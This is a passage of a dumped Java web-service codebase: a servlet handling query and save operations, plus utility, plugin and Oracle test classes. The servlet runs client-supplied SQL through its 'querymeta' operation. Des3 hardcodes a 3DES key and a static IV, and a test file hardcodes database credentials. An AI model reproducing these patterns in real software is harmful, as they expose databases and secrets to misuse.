SQLObjectManager.getInstance().saveSQLObjectBySqlid(\n\t\t\t\t\tsqlid, sqlobj.getInsertSql(), sqlobj.getInsertParams());\n\n\t\t\tresultobj.put(\"CLIENT_ROW_ID\", json.getString(\"CLIENT_ROW_ID\"));\n\t\t\tresultobj.put(\"RESULT\", \"success\");\n\t\t\tresultInserts.add(adapter.serializeMap(resultobj));\n\t\t}\n\n\t\tresult.put(\"inserted\", resultInserts);\n\n\t}\n\n\tpublic void saveUpdated(JSONArray js, JSONObject result) throws Exception {\n\t\tIterator<SQLParam> iter = null;\n\t\tJSONObject json = null;\n\t\tSQLParam param = null;\n\t\tString paramName = null;\n\t\tSQLObject sqlobj = SQLObjectManager.getInstance().getSQLObject(\n\t\t\t\tDataServer.getInstance().getProperties().getDbtype());\n\t\tJSONConverter adapter = new JSONConverter();\n\n\t\tJSONArray resultUpdates = new JSONArray();\n\t\tMap<String, Object> resultobj = null;\n\t\tfor (int index = 0; index < js.size(); index++) {\n\t\t\titer = sqlobj.getUpdateParams().iterator();\n\t\t\tjson = js.getJSONObject(index);\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tparam = iter.next();\n\t\t\t\tparamName = param.getName();\n\t\t\t\tparam.setValue(null);\n\t\t\t\tif (json.get(paramName) != null) {\n\t\t\t\t\tparam.setValue(json.get(paramName));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tresultobj = SQLObjectManager.getInstance().saveSQLObject(\n\t\t\t\t\tsqlobj.getUpdateSql(), sqlobj.getUpdateParams());\n\n\t\t\tresultUpdates.add(adapter.serializeMap(resultobj));\n\t\t}\n\n\t\tresult.put(\"updated\", resultUpdates);\n\t}\n\n\tpublic void saveDeleted(JSONArray js, JSONObject result) throws Exception {\n\t\tIterator<SQLParam> iter = null;\n\t\tJSONObject json = null;\n\t\tSQLParam param = null;\n\t\tString paramName = null;\n\t\tSQLObject sqlobj = SQLObjectManager.getInstance().getSQLObject(\n\t\t\t\tDataServer.getInstance().getProperties().getDbtype());\n\t\tJSONConverter adapter = new JSONConverter();\n\n\t\tJSONArray resultDeletes = new JSONArray();\n\t\tMap<String, Object> resultobj = null;\n\t\tfor (int index = 0; index < js.size(); index++) {\n\t\t\titer = sqlobj.getDeleteParams().iterator();\n\t\t\tjson = js.getJSONObject(index);\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tparam = iter.next();\n\t\t\t\tparamName = param.getName();\n\t\t\t\tparam.setValue(null);\n\t\t\t\tif (json.get(paramName) != null) {\n\t\t\t\t\tparam.setValue(json.getString(paramName));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tresultobj = SQLObjectManager.getInstance().saveSQLObject(\n\t\t\t\t\tsqlobj.getDeleteSql(), sqlobj.getDeleteParams());\n\n\t\t\tresultDeletes.add(adapter.serializeMap(resultobj));\n\t\t}\n\n\t\tresult.put(\"deleted\", resultDeletes);\n\t}\n\n\tpublic void saveData(JSONObject js, JSONObject result) throws Exception {\n\t\tJSONObject params = js.getObject(\"params\", JSONObject.class);\n\t\tJSONObject outdata = new JSONObject();\n\t\tresult.put(\"outdata\", outdata);\n\t\tif (params != null) {\n\t\t\tJSONArray inserted = null;\n\t\t\tJSONArray updated = null;\n\t\t\tJSONArray deleted = null;\n\n\t\t\tJSON jn = params.getObject(\"inserted\", JSON.class);\n\t\t\tif (jn instanceof JSONObject) {\n\t\t\t\tinserted = new JSONArray();\n\t\t\t\tinserted.add(jn);\n\t\t\t} else if (jn instanceof JSONArray) {\n\t\t\t\tinserted = params.getObject(\"inserted\", JSONArray.class);\n\t\t\t}\n\n\t\t\tjn = params.getObject(\"updated\", JSON.class);\n\t\t\tif (jn instanceof JSONObject) {\n\t\t\t\tupdated = new JSONArray();\n\t\t\t\tupdated.add(jn);\n\t\t\t} else if (jn instanceof JSONArray) {\n\t\t\t\tupdated = params.getObject(\"updated\", JSONArray.class);\n\t\t\t}\n\n\t\t\tjn = params.getObject(\"deleted\", JSON.class);\n\t\t\tif (jn instanceof JSONObject) {\n\t\t\t\tdeleted = new JSONArray();\n\t\t\t\tdeleted.add(jn);\n\t\t\t} else if (jn instanceof JSONArray) {\n\t\t\t\tdeleted = params.getObject(\"deleted\", JSONArray.class);\n\t\t\t}\n\n\t\t\tif (inserted != null) {\n\t\t\t\tthis.saveInserted(inserted, outdata);\n\t\t\t}\n\n\t\t\tif (updated != null) {\n\t\t\t\tthis.saveUpdated(updated, outdata);\n\t\t\t}\n\n\t\t\tif (deleted != null) {\n\t\t\t\tthis.saveDeleted(deleted, outdata);\n\t\t\t}\n\t\t}\n\t}\n\n\tprotected void doGet(HttpServletRequest request,\n\t\t\tHttpServletResponse response) throws ServletException, IOException {\n\t\tdoPost(request, response);\n\t}\n\n\tprotected void doPost(HttpServletRequest request,\n\t\t\tHttpServletResponse response) throws ServletException, IOException {\n\t\tOutputStream os = response.getOutputStream();\n\t\tJSONObject result = new JSONObject();\n\t\tJSONObject queryparam = null;\n\t\ttry {\n\t\t\tInputStream is = request.getInputStream();\n\t\t\tReader reader = new InputStreamReader(is);\n\t\t\tBufferedReader br = new BufferedReader(reader);\n\t\t\tStringBuffer sb = null;\n\t\t\tString s = null;\n\t\t\ttry {\n\t\t\t\ts = br.readLine();\n\t\t\t\tsb = new StringBuffer();\n\t\t\t\twhile (s != null) {\n\t\t\t\t\tsb.append(s);\n\t\t\t\t\ts = br.readLine();\n\t\t\t\t}\n\t\t\t\tJSONObject js = JSONObject.parseObject(sb.toString());\n\t\t\t\tif (js.getString(\"oper\").equalsIgnoreCase(\"query\")) {\n\t\t\t\t\tif (js.getString(\"sqlid\").equalsIgnoreCase(\"1000\")) {\n\t\t\t\t\t\tqueryparam = js.getObject(\"params\", JSONObject.class);\n\t\t\t\t\t\tif (queryparam == null) {\n\t\t\t\t\t\t\tthis.queryAllSqlObject(js, result);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tthis.querySqlObject(queryparam.getString(\"SQLID\"),\n\t\t\t\t\t\t\t\t\tresult);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tresult.put(\"reqid\", js.getString(\"reqid\"));\n\t\t\t\t\tresult.put(\"inparams\",\n\t\t\t\t\t\t\tjs.getObject(\"params\", JSONObject.class));\n\n\t\t\t\t} else if (js.getString(\"oper\").equalsIgnoreCase(\"save\")) {\n\t\t\t\t\tthis.saveData(js, result);\n\t\t\t\t} else if (js.getString(\"oper\").equalsIgnoreCase(\"querymeta\")) {\n\n\t\t\t\t\tif ((js.getString(\"sql\").toLowerCase().indexOf(\"begin\") >= 0)\n\t\t\t\t\t\t\t&& (js.getString(\"sql\").toLowerCase()\n\t\t\t\t\t\t\t\t\t.indexOf(\"end;\") >= 0)) {\n\t\t\t\t\t\tthis.queryMetaData(js.getString(\"sql\"), true, result);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthis.queryMetaData(js.getString(\"sql\"), false, result);\n\t\t\t\t\t}\n\t\t\t\t\tresult.put(\"reqid\", js.getString(\"reqid\"));\n\t\t\t\t\tresult.put(\"inparams\",\n\t\t\t\t\t\t\tjs.getObject(\"params\", JSONObject.class));\n\t\t\t\t} else if (js.getString(\"oper\").equalsIgnoreCase(\"readconfig\")) {\n\n\t\t\t\t} else if (js.getString(\"oper\").equalsIgnoreCase(\"saveconfig\")) {\n\n\t\t\t\t} else if (js.getString(\"oper\").equalsIgnoreCase(\n\t\t\t\t\t\t\"appchangeadminpass\")) {\n\t\t\t\t}\n\t\t\t\tresult.put(\"outresult\", \"success\");\n\t\t\t\tresult.put(\"outdesc\", \"\");\n\t\t\t} catch (Exception e) {\n\t\t\t\tresult.put(\"outresult\", \"error\");\n\t\t\t\tresult.put(\"outdesc\", e.getMessage());\n\t\t\t} finally {\n\t\t\t\tbr.close();\n\t\t\t\treader.close();\n\t\t\t\tis.close();\n\t\t\t}\n\n\t\t\t// 写入到流\n\t\t\tOutputStreamWriter writer = new OutputStreamWriter(os);\n\t\t\ttry {\n\t\t\t\twriter.write(JSON.toJSONString(result,\n\t\t\t\t\t\tSerializerFeature.WriteMapNullValue));\n\t\t\t\twriter.flush();\n\t\t\t\twriter.close();\n\t\t\t} catch (Exception e) {\n\t\t\t\tthrow new IOException(e.getMessage());\n\t\t\t}\n\t\t} finally {\n\t\t\tos.close();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/utils/Base64.java",
    "content": "/**\n *  Copyright (c) 2012-2022 徐国军. All rights reserved.\n *  \n *  使用开源协议LGPL, 可以商用，但不能申请此平台的版权\n *  \n *  关于LGPL协议 请参考 http://www.oschina.net/question/12_2827\n *  \n *  email: chinaxuguojun@163.com QQ: 1632619065\n */\n\npackage com.techsoft.utils;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class Base64 {\n\tpublic static String Encode(String source) {\n\t\treturn org.apache.axiom.om.util.Base64.encode(source.getBytes());\n\t}\n\n\tpublic static String Decode(String source) {\n\t\tbyte[] bytes = org.apache.axiom.om.util.Base64.decode(source);\n\t\treturn new String(bytes);\n\t}\n\n\tpublic static byte[] DecodeBytes(String source) {\n\t\treturn org.apache.axiom.om.util.Base64.decode(source);\n\t}\n\n\tpublic static String Encode(InputStream source) throws IOException {\n\t\tByteArrayOutputStream byteStream = new ByteArrayOutputStream(10240);\n\t\ttry {\n\t\t\tbyte[] tempbytes = new byte[1024];\n\t\t\tint len = source.read(tempbytes);\n\t\t\twhile (len != -1) {\n\t\t\t\tbyteStream.write(tempbytes, 0, len);\n\t\t\t\tlen = source.read(tempbytes);\n\t\t\t}\n\n\t\t\tbyte[] bytes = byteStream.toByteArray();\n\n\t\t\treturn org.apache.axiom.om.util.Base64.encode(bytes);\n\t\t} finally {\n\t\t\tbyteStream.close();\n\t\t}\n\t}\n\n\tpublic static String Encode(byte[] bytes) {\n\t\treturn org.apache.axiom.om.util.Base64.encode(bytes);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/utils/DataSet.java",
    "content": "package com.techsoft.utils;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport com.techsoft.StringConsts;\nimport com.techsoft.MetaData;\nimport com.techsoft.SQLObject;\nimport com.techsoft.SQLParam;\nimport com.techsoft.TechException;\nimport com.techsoft.container.DataServer;\nimport com.techsoft.modules.QueryModule;\nimport com.techsoft.modules.SaveModule;\n\npublic class DataSet {\n\tprivate String sqlid;\n\tprivate boolean isopen = false;\n\n\tprivate List<Object> inserts = new ArrayList<Object>();\n\tprivate List<Object> updates = new ArrayList<Object>();\n\tprivate List<Object> deletes = new ArrayList<Object>();\n\tprivate List<Map<String, Object>> datas;\n\tprivate Map<String, Object> resultParams;\n\n\tprivate Map<String, Object> params;\n\tprivate transient SQLObject sqlObj;\n\tprivate Integer pageNumber = -1;\n\tprivate Integer pageSize = 100;\n\tprivate Integer totalrecordcount = -1;\n\n\tpublic DataSet() {\n\t\tparams = new HashMap<String, Object>();\n\t\tresultParams = new HashMap<String, Object>();\n\t}\n\n\tpublic Integer getPageNumber() {\n\t\treturn pageNumber;\n\t}\n\n\tpublic void setPageNumber(Integer pageNumber) {\n\t\tthis.pageNumber = pageNumber;\n\t}\n\n\tpublic Integer getPageSize() {\n\t\treturn pageSize;\n\t}\n\n\tpublic void setPageSize(Integer pageSize) {\n\t\tthis.pageSize = pageSize;\n\t}\n\n\tpublic void setValue(List<SQLParam> params, SQLParam param) {\n\t\tIterator<SQLParam> iter = params.iterator();\n\t\tSQLParam paramValue = null;\n\t\twhile (iter.hasNext()) {\n\t\t\tparamValue = iter.next();\n\t\t\tif (paramValue.getName().equalsIgnoreCase(param.getName())) {\n\t\t\t\tparamValue.setValue(param.getValue());\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic void open() throws Exception {\n\t\tif (isopen) {\n\t\t\tthrow new Exception(\"此数据集已打开， 请先关闭！\");\n\t\t}\n\n\t\tif ((sqlid == null) || (sqlid.equals(\"\"))) {\n\t\t\tthrow new Exception(\"没的指定SQLID，请先指定数据的SQLID， 然后再打开!\");\n\t\t}\n\n\t\tMap<String, Object> inputs = new HashMap<String, Object>();\n\t\tMap<String, Object> results = new HashMap<String, Object>();\n\t\tinputs.put(StringConsts.sqlid, this.sqlid);\n\t\tinputs.put(StringConsts.pageNo, this.pageNumber);\n\t\tinputs.put(StringConsts.pageSize, this.pageSize);\n\t\tMap<String, Object> params = new HashMap<String, Object>();\n\t\tparams.putAll(this.params);\n\t\tinputs.put(StringConsts.params, params);\n\t\ttry {\n\t\t\tQueryModule.getInstance().queryService(inputs, results);\n\t\t\tif (results.get(StringConsts.ResultType).equals(\n\t\t\t\t\tStringConsts.Success)) {\n\t\t\t\tisopen = true;\n\t\t\t\tthis.totalrecordcount = (Integer) results\n\t\t\t\t\t\t.get(StringConsts.recordcount);\n\t\t\t\tthis.datas = (List<Map<String, Object>>) results\n\t\t\t\t\t\t.get(StringConsts.outdata);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tisopen = false;\n\t\t}\n\t}\n\n\tpublic void close() {\n\t\tdatas.clear();\n\t\tresultParams.clear();\n\t\tisopen = false;\n\t}\n\n\tpublic void saveUpdates() {\n\t\tMap<String, Object> inputs = new HashMap<String, Object>();\n\t\tMap<String, Object> results = new HashMap<String, Object>();\n\t\tinputs.put(StringConsts.sqlid, this.sqlid);\n\t\tMap<String, Object> params = new HashMap<String, Object>();\n\t\tparams.put(StringConsts.inserts, this.inserts);\n\t\tparams.put(StringConsts.updates, this.updates);\n\t\tparams.put(StringConsts.deletes, this.deletes);\n\t\tinputs.put(StringConsts.params, params);\n\n\t\ttry {\n\t\t\tSaveModule.getInstance().saveData(inputs, results);\n\t\t} catch (TechException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic void insertRecord(Map<String, Object> record) {\n\t\tthis.inserts.add(record);\n\t}\n\n\tpublic void updateRecord(Map<String, Object> record) {\n\t\tthis.updates.add(record);\n\t}\n\n\tpublic void deleteRecord(Map<String, Object> record) {\n\t\tthis.deletes.add(record);\n\t}\n\n\tpublic List<Map<String, Object>> getDatas() {\n\t\treturn datas;\n\t}\n\n\tpublic String getSqlid() {\n\t\treturn sqlid;\n\t}\n\n\tpublic void setSqlid(String sqlid) {\n\t\tthis.sqlid = sqlid;\n\t}\n\n\tpublic Map<String, Object> getParams() {\n\t\treturn params;\n\t}\n\n\tpublic void setParams(Map<String, Object> params) {\n\t\tthis.params.clear();\n\t\tthis.params.putAll(params);\n\t}\n\n\tpublic List<MetaData> getMetaDatas() throws Exception {\n\t\tif ((sqlObj == null)) {\n\t\t\tthrow new Exception(\"数据集还没有open, 取不到对应的元数据\");\n\t\t}\n\t\treturn sqlObj.getMetaDatas();\n\t}\n\n\tpublic int getRecordCount() {\n\t\tint result = 0;\n\t\tif (this.datas != null) {\n\t\t\tresult = this.datas.size();\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tpublic Map<String, Object> getResultParams() {\n\t\treturn resultParams;\n\t}\n\n\tpublic Integer getTotalrecordcount() {\n\t\treturn totalrecordcount;\n\t}\n\n\tpublic boolean isOpen() {\n\t\treturn isopen;\n\t}\n\n\tpublic static void main(String args[]) throws Exception {\n\t\tnew DataServer(new File(\n\t\t\t\t\"E:/toos/apache-tomcat-7.0.4/wtpwebapps/IXWebService\")).start();\n\t\tDataSet datas = new DataSet();\n\t\tdatas.setSqlid(\"100100\");\n\t\tdatas.setPageNumber(1);\n\t\tdatas.setPageSize(1);\n\t\t// data.getParams().put(\"STATECLASS\", \"T_ICNI_PUSHCONTENT_PUSHMODE\");\n\t\t// data.open();\n\t\tMap<String, Object> data = new HashMap<String, Object>();\n\t\tdata.put(\"ORDER_NO\", \"123456789\");\n\t\tdata.put(\"state\", \"1\");\n\n\t\tdatas.updateRecord(data);\n\t\tdatas.saveUpdates();\n\t\tSystem.out.println(\"success\");\n\t\t// System.out.println(data.getTotalrecordcount());\n\t\t// System.out.println(data.getRecordCount());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/utils/Des3.java",
    "content": "package com.techsoft.utils;\n\nimport java.security.Key;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.SecretKeyFactory;\nimport javax.crypto.spec.DESedeKeySpec;\nimport javax.crypto.spec.IvParameterSpec;\n\npublic class Des3 {\n\t// 密钥\n\tprivate final static String secretKey = \"liuyunqiang@lx100$#365#$\";\n\t// 向量\n\tprivate final static String iv = \"01234567\";\n\t// 加解密统一使用的编码方式\n\tprivate final static String encoding = \"utf-8\";\n\n\t/**\n\t * 3DES加密\n\t * \n\t * @param plainText\n\t *            普通文本\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static String encode(String plainText) throws Exception {\n\t\tKey deskey = null;\n\t\tDESedeKeySpec spec = new DESedeKeySpec(secretKey.getBytes());\n\t\tSecretKeyFactory keyfactory = SecretKeyFactory.getInstance(\"desede\");\n\t\tdeskey = keyfactory.generateSecret(spec);\n\t\tCipher cipher = Cipher.getInstance(\"desede/CBC/PKCS5Padding\");\n\t\tIvParameterSpec ips = new IvParameterSpec(iv.getBytes());\n\t\tcipher.init(Cipher.ENCRYPT_MODE, deskey, ips);\n\t\tbyte[] encryptData = cipher.doFinal(plainText.getBytes(encoding));\n\t\treturn Base64.Encode(encryptData);\n\t}\n\n\t/**\n\t * 3DES解密\n\t * \n\t * @param encryptText\n\t *            加密文本\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static String decode(String encryptText) throws Exception {\n\t\tKey deskey = null;\n\t\tDESedeKeySpec spec = new DESedeKeySpec(secretKey.getBytes());\n\t\tSecretKeyFactory keyfactory = SecretKeyFactory.getInstance(\"desede\");\n\t\tdeskey = keyfactory.generateSecret(spec);\n\t\tCipher cipher = Cipher.getInstance(\"desede/CBC/PKCS5Padding\");\n\t\tIvParameterSpec ips = new IvParameterSpec(iv.getBytes());\n\t\tcipher.init(Cipher.DECRYPT_MODE, deskey, ips);\n\n\t\tbyte[] decryptData = cipher.doFinal(Base64.DecodeBytes(encryptText));\n\n\t\treturn new String(decryptData, encoding);\n\t}\n\t\n\tpublic static void main(String args[]) throws Exception {\n\t\tString s = \"3546475@@@@@slj;salfdjd\";\n\t\tSystem.out.println(s);\n\t\tSystem.out.println(Des3.decode(Des3.encode(s)));\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/utils/MD5Util.java",
    "content": "package com.techsoft.utils;\n\npublic class MD5Util {\n\tpublic static String getMD5(byte[] source) {\n\t\tString s = null;\n\t\tchar hexDigits[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',\n\t\t\t\t'a', 'b', 'c', 'd', 'e', 'f' };\n\t\ttry {\n\t\t\tjava.security.MessageDigest md = java.security.MessageDigest\n\t\t\t\t\t.getInstance(\"MD5\");\n\t\t\tmd.update(source);\n\t\t\tbyte tmp[] = md.digest();\n\t\t\tchar str[] = new char[16 * 2];\n\t\t\tint k = 0;\n\t\t\tfor (int i = 0; i < 16; i++) {\n\t\t\t\tbyte byte0 = tmp[i];\n\t\t\t\tstr[k++] = hexDigits[byte0 >>> 4 & 0xf];\n\t\t\t\tstr[k++] = hexDigits[byte0 & 0xf];\n\t\t\t}\n\t\t\ts = new String(str);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn s;\n\t}\n\t\n\t\n\tpublic static void main(String args[]) {\n\t\t\n\t\tString uuid = java.util.UUID.randomUUID().toString().replace(\"-\", \"\");\n\t\tSystem.out.println( uuid);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/plugins/console/src/com/techsoft/ConsolePlugin.java",
    "content": "package com.techsoft;\n\nimport java.io.File;\n\nimport com.techsoft.Interceptor.InterceptorManager;\nimport com.techsoft.container.DataServer;\nimport com.techsoft.plugins.PluginManager;\n\npublic class ConsolePlugin implements Plugin {\n\tprivate File pluginDirectory;\n\t@Override\n\tpublic void initializePlugin(PluginManager manager, File pluginDirectory) {\n\t\tInterceptorManager.getInstance().addInterceptor(new SqlIdProcessImpl());\n\t}\n\t@Override\n\tpublic void destroyPlugin() {\n\t\tDataServer.getInstance().removePluginModule(pluginDirectory.getName());\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/plugins/console/src/com/techsoft/SqlIdProcessImpl.java",
    "content": "package com.techsoft;\n\nimport java.util.Map;\n\nimport com.techsoft.Interceptor.SQLIDInterceptor;\n\npublic class SqlIdProcessImpl implements SQLIDInterceptor {\n\n\t@Override\n\tpublic void interceptSQLID(SQLObject arg0, Session arg1, DMLType arg2,\n\t\t\tboolean arg3, Map<String, Object> arg4)\n\t\t\tthrows SQLIDRejectedException {\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/plugins/console/src/plugin.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Plugin>\n\t<class>com.techsoft.ConsolePlugin</class>\n</Plugin>"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/test/com/techsoft/AllTests.java",
    "content": "package com.techsoft;\n\nimport org.junit.runner.RunWith;\nimport org.junit.runners.Suite;\nimport org.junit.runners.Suite.SuiteClasses;\n\nimport com.techsoft.executor.TestOracleExecutor;\nimport com.techsoft.pool.TestConnectionPool;\n\n@RunWith(Suite.class)\n@SuiteClasses({ TestConnectionPool.class, TestOracleExecutor.class })\npublic class AllTests {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/test/com/techsoft/TestConsts.java",
    "content": "package com.techsoft;\n\nimport com.techsoft.pool.PoolFactory;\n\npublic class TestConsts {\n\tprivate static ConnectionPool pool = null;\n\tpublic static ConnectionPool.DatabaseType databaseType = ConnectionPool.DatabaseType.ORACLE;\n\n\tpublic static String driverName = \"oracle.jdbc.driver.OracleDriver\";\n\n\tpublic static int minPool = 1;\n\n\tpublic static int MaxPool = 2;\n\n\tpublic static int initPool = 1;\n\n\tpublic static String URL = \"jdbc:oracle:thin:@192.168.0.48:1521/ORA10G.localdomain\";\n\n\tpublic static String userName = \"samp\";\n\n\tpublic static String password = \"lxkj\";\n\n\tpublic static ConnectionPool getPool() {\n\t\tif (pool == null) {\n\t\t\ttry {\n\t\t\t\tpool = PoolFactory.getInstance().getConnectionPool();\n\t\t\t\tpool.setDatabaseType(TestConsts.databaseType);\n\t\t\t\tpool.setDriverName(TestConsts.driverName);\n\t\t\t\tpool.setInitPool(TestConsts.initPool);\n\t\t\t\tpool.setIsDebug(true);\n\t\t\t\tpool.setJdbcURL(TestConsts.URL);\n\t\t\t\tpool.setMaxPool(TestConsts.MaxPool);\n\t\t\t\tpool.setMinPool(TestConsts.minPool);\n\t\t\t\tpool.setUserName(TestConsts.userName);\n\t\t\t\tpool.setPassword(TestConsts.password);\n\t\t\t\tpool.start();\n\t\t\t} catch (PoolException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\n\t\treturn pool;\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/test/com/techsoft/executor/TestOracleExecutor.java",
    "content": "package com.techsoft.executor;\n\nimport java.io.IOException;\nimport java.sql.CallableStatement;\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\n\nimport junit.framework.Assert;\nimport junit.framework.TestCase;\nimport oracle.jdbc.OracleConnection;\n\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.techsoft.DBException;\nimport com.techsoft.DataExecutor;\nimport com.techsoft.SQLParam;\nimport com.techsoft.TestConsts;\n\npublic class TestOracleExecutor extends TestCase {\n\tprivate Connection conn = null;\n\tprivate OracleConnection oraconn = null;\n\tprivate static DataExecutor executor = OracleExecutor.getInstance();\n\tprivate static String dropTable = \"drop table TESTORACLEEXECUTOR\";\n\tprivate static String createTable = \"create table TESTORACLEEXECUTOR \\n\"\n\t\t\t+ \"( \\n\" + \"  id             NUMBER(7) not null,\\n\"\n\t\t\t+ \"  strfield       VARCHAR2(200),\\n\" + \"  clobfield      CLOB,\\n\"\n\t\t\t+ \"  blobfield      BLOB,\\n\" + \"  datefield      DATE,\\n\"\n\t\t\t+ \"  timestampfield TIMESTAMP(6),\\n\" + \"  longfield      LONG,\\n\"\n\t\t\t+ \"  numfields      NUMBER(20),\\n\"\n\t\t\t+ \"  floatfields    NUMBER(30,6),\\n\" + \"  primary key (id)\\n\" + \")\";\n\n\tprivate static String insertSql = \"insert into TESTORACLEEXECUTOR t \\n\"\n\t\t\t+ \"  (t.id, \\n\" + \"   t.strfield, \\n\" + \"   t.clobfield, \\n\"\n\t\t\t+ \"   t.blobfield, \\n\" + \"   t.datefield, \\n\"\n\t\t\t+ \"   t.timestampfield, \\n\" + \"   t.longfield, \\n\"\n\t\t\t+ \"   t.numfields, \\n\" + \"   t.floatfields) \\n\" + \"values (\\n\"\n\t\t\t+ \"  ?,\\n\" + \"  ?,\\n\" + \"  ?,\\n\" + \"  ?,\\n\" + \"  ?,\\n\" + \"  ?,\\n\"\n\t\t\t+ \"  ?,\\n\" + \"  ?,\\n\" + \"  ?\\n\" + \")\";\n\n\tprivate static String paramSql = \"begin \\n\" + \"  select t.id, \\n\"\n\t\t\t+ \"         t.strfield, \\n\" + \"         t.clobfield, \\n\"\n\t\t\t+ \"         t.blobfield, \\n\" + \"         t.datefield, \\n\"\n\t\t\t+ \"         t.timestampfield, \\n\" + \"         t.longfield, \\n\"\n\t\t\t+ \"         t.numfields, \\n\" + \"         t.floatfields \\n\"\n\t\t\t+ \"    into :id, \\n\" + \"         :strfield, \\n\"\n\t\t\t+ \"         :clobfield, \\n\" + \"         :blobfield, \\n\"\n\t\t\t+ \"         :datefield, \\n\" + \"         :timestampfield, \\n\"\n\t\t\t+ \"         :longfield, \\n\" + \"         :numfields, \\n\"\n\t\t\t+ \"         :floatfields \\n\" + \"    from TESTORACLEEXECUTOR t; \\n\"\n\t\t\t+ \"end; \\n\";\n\n\t@Before\n\tprotected void setUp() throws Exception {\n\t\tsuper.setUp();\n\t\tconn = TestConsts.getPool().getConnection();\n\t\toraconn = (OracleConnection) TestConsts.getPool().getNativeConnection(\n\t\t\t\tconn);\n\t\ttry {\n\t\t\tPreparedStatement statement = oraconn.prepareCall(createTable);\n\t\t\tstatement.execute();\n\t\t\toraconn.commit();\n\t\t} catch (Exception e) {\n\t\t\toraconn.rollback();\n\t\t}\n\t}\n\n\t@After\n\tprotected void tearDown() throws Exception {\n\t\ttry {\n\t\t\tPreparedStatement statement = oraconn.prepareCall(dropTable);\n\t\t\tstatement.execute();\n\t\t\toraconn.commit();\n\t\t} catch (Exception e) {\n\t\t\toraconn.rollback();\n\t\t}\n\t\tconn.close();\n\t\tconn = null;\n\t\tsuper.tearDown();\n\t}\n\n\t@Test\n\tpublic void testsetParam() throws SQLException, IOException, DBException {\n\t\tCallableStatement statement = oraconn.prepareCall(insertSql);\n\t\tSQLParam param1 = new SQLParam();\n\t\tparam1.setDtype(\"2\");\n\t\tparam1.setDtypename(\"NUMBER\");\n\t\tparam1.setIndex(\"1\");\n\t\tparam1.setIotype(\"in\");\n\t\tparam1.setName(\"id\");\n\t\tparam1.setValue(12);\n\t\tparam1.buildPositions();\n\t\texecutor.setParam(param1, statement, oraconn);\n\n\t\tSQLParam param2 = new SQLParam();\n\t\tparam2.setDtype(\"12\");\n\t\tparam2.setDtypename(\"VARCHAR\");\n\t\tparam2.setIndex(\"2\");\n\t\tparam2.setIotype(\"in\");\n\t\tparam2.setName(\"strfield\");\n\t\tparam2.setValue(\"sdfasdfasdf\");\n\t\tparam2.buildPositions();\n\t\texecutor.setParam(param2, statement, oraconn);\n\n\t\tSQLParam param3 = new SQLParam();\n\t\tparam3.setDtype(\"2005\");\n\t\tparam3.setDtypename(\"CLOB\");\n\t\tparam3.setIndex(\"3\");\n\t\tparam3.setIotype(\"in\");\n\t\tparam3.setName(\"clobfield\");\n\t\tparam3.setValue(\"bbbbbbbbbb\");\n\t\tparam3.buildPositions();\n\t\texecutor.setParam(param3, statement, oraconn);\n\n\t\tSQLParam param4 = new SQLParam();\n\t\tparam4.setDtype(\"2004\");\n\t\tparam4.setDtypename(\"BLOB\");\n\t\tparam4.setIndex(\"4\");\n\t\tparam4.setIotype(\"in\");\n\t\tparam4.setName(\"blobfield\");\n\t\tparam4.setValue(\"222222222222\");\n\t\tparam4.buildPositions();\n\t\texecutor.setParam(param4, statement, oraconn);\n\n\t\tSQLParam param5 = new SQLParam();\n\t\tparam5.setDtype(\"91\");\n\t\tparam5.setDtypename(\"DATE\");\n\t\tparam5.setIndex(\"5\");\n\t\tparam5.setIotype(\"in\");\n\t\tparam5.setName(\"datefield\");\n\t\tparam5.setValue(\"2005-01-04 12:12:12\");\n\t\tparam5.buildPositions();\n\t\texecutor.setParam(param5, statement, oraconn);\n\n\t\tSQLParam param6 = new SQLParam();\n\t\tparam6.setDtype(\"93\");\n\t\tparam6.setDtypename(\"TIMESTAMP\");\n\t\tparam6.setIndex(\"6\");\n\t\tparam6.setIotype(\"in\");\n\t\tparam6.setName(\"timestampfield\");\n\t\tparam6.setValue(\"2005-01-04 12:12:12:111\");\n\t\tparam6.buildPositions();\n\t\texecutor.setParam(param6, statement, oraconn);\n\n\t\tSQLParam param7 = new 